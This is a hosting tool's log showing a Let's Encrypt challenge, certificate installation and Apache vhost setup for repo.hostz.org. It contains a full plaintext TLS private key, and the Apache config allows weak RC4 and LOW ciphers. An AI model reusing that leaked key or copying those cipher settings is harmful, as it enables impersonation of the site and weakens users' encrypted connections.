MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-20 06:00:02: Establishing a connection
2025-12-20 06:00:04: Establishing a connection
2025-12-20 06:00:05:
PUT: /tmp/pkp330350
#!/bin/bash
if [ -d "/var/www/hostz_repo/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-20 06:00:06:
chmod 755 /tmp/pkp330350; /tmp/pkp330350; rm /tmp/pkp330350
2025-12-20 06:00:06:
1
2025-12-20 06:00:07: Establishing a connection
2025-12-20 06:00:09:
PUT: /tmp/pkp232657
#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
cat > rDr6aBLsOe8WnwIfisBMWhSIhpT2V-baxdqQxHSEetU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rDr6aBLsOe8WnwIfisBMWhSIhpT2V-baxdqQxHSEetU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rDr6aBLsOe8WnwIfisBMWhSIhpT2V-baxdqQxHSEetU
2025-12-20 06:00:10:
chmod 755 /tmp/pkp232657; /tmp/pkp232657; rm /tmp/pkp232657
2025-12-20 06:00:10:
2025-12-20 06:00:15: Establishing a connection
2025-12-20 06:00:17:
PUT: /tmp/pkp433668
#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
rm rDr6aBLsOe8WnwIfisBMWhSIhpT2V-baxdqQxHSEetU
2025-12-20 06:00:18:
chmod 755 /tmp/pkp433668; /tmp/pkp433668; rm /tmp/pkp433668
2025-12-20 06:00:18:
2025-12-20 06:00:18: Establishing a connection
2025-12-20 06:00:19:
PUT: /tmp/pkp965051
#!/bin/bash
temp_file=$(mktemp)
TARGET=39a67d98dbcb59994bb5bd629687cb8e.crt
cat > $temp_file <<'endmsg'
0c:8e:b6:5c:da:24:34:95:1d:53:27:6e:c4:b7:fe:79
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBZbJia8a9BItY8jhAHSK5OR9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjIwMDUwMTQ1WhcNMjYwMzIwMDUwMTQ0WjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJ7+LJeus7ehBC2YpYatRlTnSwOc5KqaqtaNV/Z2nf5e/9Om7uPnTgOoVJiulgfP
U9gW9RCx3A2M/ygOUVxOrxkP9vSMcmQnWF0JYU1rdjv+ItnC2oKyKddZOFkpVskD
wAoFkyJVKXnYn+HSmNAY9uQo/h5MSgqPcNQV75iq68uO/GGqhdfhulJN85pz1bii
ymwuB7PY63UAHJZyYgxpCBEeXYsYJc7nBZAU+CFGaw7jTWPwYf8vwMbZqijitMeK
yttnyQql6BG+Tb3fQYAIJ3PZSns6J/1KAtxXmvtOimt4BpKnXt/LgmagTs5A81Pg
EDFRPBKieonn0Sncr+t9lYsCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU3CCG6yF+zxi3aF6sMDJSI5id3qswHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5yZXBvLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEyNi5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZs6WCsPAAAEAwBHMEUCIH0f
WsRSPlbh9QwOv5tNpYz94WQW5GVyO7ECj2EvuY29AiEA6ZxaGX7obsFPHeNv7i8z
3PLCLLKSMBzLOhE5qDuVpYgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGz
I8uVBAAAAZs6WCvgAAAEAwBHMEUCIQDeGPscBRaqxICcTiYEQfq086Pruu5e83eb
mNc/SxTDRAIgY+fuKfP4ZPBuoxRgOcZhMhXy4UfgxQOXM1P0BWqeAXYwDQYJKoZI
hvcNAQELBQADggEBAHPF2Fx+0XMpZ5Gn3sNzw77qeDGSpA8EWApy7ZYdO6YH3s6q
eJMDZDnyzzhzYkwXv7jgNISSlM/6v5fzMJgjH3utG1WX6ZddXGTizn8m4/ymIbfu
QNhwqCxuwVzPWc4A4MYNfGyWURpMwksAkWzAbRtzlcYo4hDPkgXnAhHmbxCRyTqp
1NuYA8c8ebfsI+4NiYoKbiATe4raVvSn0tLz46m++RY2xauiWFQlMGeC3AnXchwW
RG2nq5USHOHCH+bcMj2lolAGvo9kz+YKDge+lAV+0oV4Y7Oei+NBoe7xpQp90I5g
UE/nQpRMawrib5MrQzJ00dMmWnm3+1akxpAkjAQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCe/iyXrrO3oQQt
mKWGrUZU50sDnOSqmqrWjVf2dp3+Xv/Tpu7j504DqFSYrpYHz1PYFvUQsdwNjP8o
DlFcTq8ZD/b0jHJkJ1hdCWFNa3Y7/iLZwtqCsinXWThZKVbJA8AKBZMiVSl52J/h
0pjQGPbkKP4eTEoKj3DUFe+YquvLjvxhqoXX4bpSTfOac9W4ospsLgez2Ot1AByW
cmIMaQgRHl2LGCXO5wWQFPghRmsO401j8GH/L8DG2aoo4rTHisrbZ8kKpegRvk29
30GACCdz2Up7Oif9SgLcV5r7TopreAaSp17fy4JmoE7OQPNT4BAxUTwSonqJ59Ep
3K/rfZWLAgMBAAECggEAMiXbbNBWsSGhTrxp4SvAFkGJwI749PKp1dhpGTzaooPW
TyzFBq9LRQ4P+MSAX+A+Atdi3qwqyz9gr4KsmN/cjJwjeYje/8YFMfsmbKPrfAqx
dVvnTffiCKGEi2Llk6uSI9cUTGzuExeHflPNjT2Cif6AAJBxfhk2Lj7o/o9SpjZp
DoxT9OSlsMnoTF7vWdUUIvgRHZNGlmnULBMlEDNEJkvdiS+700es4hE6Bk6EcT0y
8wN2JoMQ7o78CMPrgPq4lgttbOxLdgg9tmGJxhEJAXYCVoM7APsM7Oq8/jirQyTR
vjyz/eiKeK3mDbTxcsO/G5m35tWCKp6Lac8s59YXCQKBgQDMlNb+MVLBMUIqNMeM
tAqAOsYinABBUsAuyl1vOZL59grmpu26zMOFSXTmBIz1/3yUm3IHmqQUozEHxC2U
d7Uf/Aj/IDeV7OTyejgbfp328C8Lckyf0/Y0Jl5O+KbxNel503z/WRm8eLdRD0nY
bL98fcTZolgR9lu3FY/y200nrwKBgQDG9BSUVGE+Cx455P7Bzo5VQ570kNm3Gq15
lQ222oKtpffP2TbmxDjsmzXGALqQBjQ6VbV8ot/FIsfMfcyRFhuSKxnv/mXxttQu
1VdQ6QtioNSRCd/aXfxP6AYULnmoiyUljvJ3eF8QlJN97i/5COwReVsTW1S8tw6l
f+bBdafK5QKBgQC6sc1tFVfe4/PsjlPYrGi00m4EIXb+JeUqDhSsLs9Y+tbB3G4w
PTLkjL94NYjp6WgoOZ8bH11DVBWnb7jkt0V8VcVkBWOUlyXrves79BV1x4Q3Huyc
IpOYzbbcvH+kuj1BpuV4JTieTU+FUr1iGwO4ORIORd+3LKpP7wZ5avYDEwKBgH9V
jqpUyxwjj4fsWWT/Z7eInP7Yio+XonnTfUCP3912AQJleq793ZUJzcPZiY5OejTv
0EViFSgeF5R422nspV7K+UHSJ7spkeobn1Poo+HPH91oXX5scuVNkj5udGz8CZ1d
PTBbuTRqc2/A97FDFZwleLYN2VEjNFuWXcFqJSdFAoGBAIzoWFA7X7Zt8b1ZfuGi
q888koYftAwRt4fo63/j1li/SVQXSD/7IPC7IDLqGvR/x7Sev3hi8KsT4VgL7tJJ
IShlke3GUliwJuY4I9t2tMhmuyxNpEUiSDzxK9nYhB4DGAzs4+9+JI/l3GCJTsk6
K0eBVSTXVJA0WMnN8pen+Vwl
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-20 06:00:20:
chmod 755 /tmp/pkp965051; /tmp/pkp965051; rm /tmp/pkp965051
2025-12-20 06:00:20:
dir=/etc/pki/tls/certs/
2025-12-20 06:00:20:
PUT: /tmp/pkp656863
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/hostz_repo_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-20 06:00:21:
chmod 755 /tmp/pkp656863; /tmp/pkp656863; rm /tmp/pkp656863
2025-12-20 06:00:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840
<VirtualHost *:80>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_access.log combined
ErrorLog /var/log/httpd/hostz/repo_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_secure_access.log combined
ErrorLog /var/log/httpd/hostz/repo_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-20 06:00:21:
PUT: /tmp/pkp886993
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_repo_org.conf
TARGET=/etc/httpd/conf.d/hostz_repo_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_access.log combined
ErrorLog /var/log/httpd/hostz/repo_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_secure_access.log combined
ErrorLog /var/log/httpd/hostz/repo_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/hostz_repo_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/hostz_repo_org.conf)= /etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf= 1'
fi
2025-12-20 06:00:22:
chmod 755 /tmp/pkp886993; /tmp/pkp886993; rm /tmp/pkp886993
2025-12-20 06:00:22:
2025-12-20 06:00:22:
PUT: /tmp/pkp374511
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-20 06:00:23:
chmod 755 /tmp/pkp374511; /tmp/pkp374511; rm /tmp/pkp374511
2025-12-20 06:00:23:
.
2025-12-20 06:00:23: Establishing a connection
2025-12-20 06:00:24:
PUT: /tmp/pkp198317
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-20 06:00:26:
chmod 755 /tmp/pkp198317; /tmp/pkp198317; rm /tmp/pkp198317
2025-12-20 06:00:26:
[Sat Dec 20 06:00:26.318704 2025] [so:warn] [pid 1761469:tid 140381861198144] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
alias www.zoomchat.online
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Sat Dec 20 06:00:26.318704 2025] [so:warn] [pid 1761469:tid 140381861198144] AH01574: module status_module is already loaded, skipping
2025-12-20 06:00:26:
PUT: /tmp/pkp295355
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/hostz_repo_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-20 06:00:27:
chmod 755 /tmp/pkp295355; /tmp/pkp295355; rm /tmp/pkp295355
2025-12-20 06:00:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840
<VirtualHost *:80>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_access.log combined
ErrorLog /var/log/httpd/hostz/repo_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName repo.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
DocumentRoot /var/www/hostz_repo
<Directory /var/www/hostz_repo>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/repo_secure_access.log combined
ErrorLog /var/log/httpd/hostz/repo_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-20 06:00:27:
PUT: /tmp/pkp565296
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-20 06:00:27:
chmod 755 /tmp/pkp565296; /tmp/pkp565296; rm /tmp/pkp565296
2025-12-20 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt 5348
0c:8e:b6:5c:da:24:34:95:1d:53:27:6e:c4:b7:fe:79
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBZbJia8a9BItY8jhAHSK5OR9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjIwMDUwMTQ1WhcNMjYwMzIwMDUwMTQ0WjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJ7+LJeus7ehBC2YpYatRlTnSwOc5KqaqtaNV/Z2nf5e/9Om7uPnTgOoVJiulgfP
U9gW9RCx3A2M/ygOUVxOrxkP9vSMcmQnWF0JYU1rdjv+ItnC2oKyKddZOFkpVskD
wAoFkyJVKXnYn+HSmNAY9uQo/h5MSgqPcNQV75iq68uO/GGqhdfhulJN85pz1bii
ymwuB7PY63UAHJZyYgxpCBEeXYsYJc7nBZAU+CFGaw7jTWPwYf8vwMbZqijitMeK
yttnyQql6BG+Tb3fQYAIJ3PZSns6J/1KAtxXmvtOimt4BpKnXt/LgmagTs5A81Pg
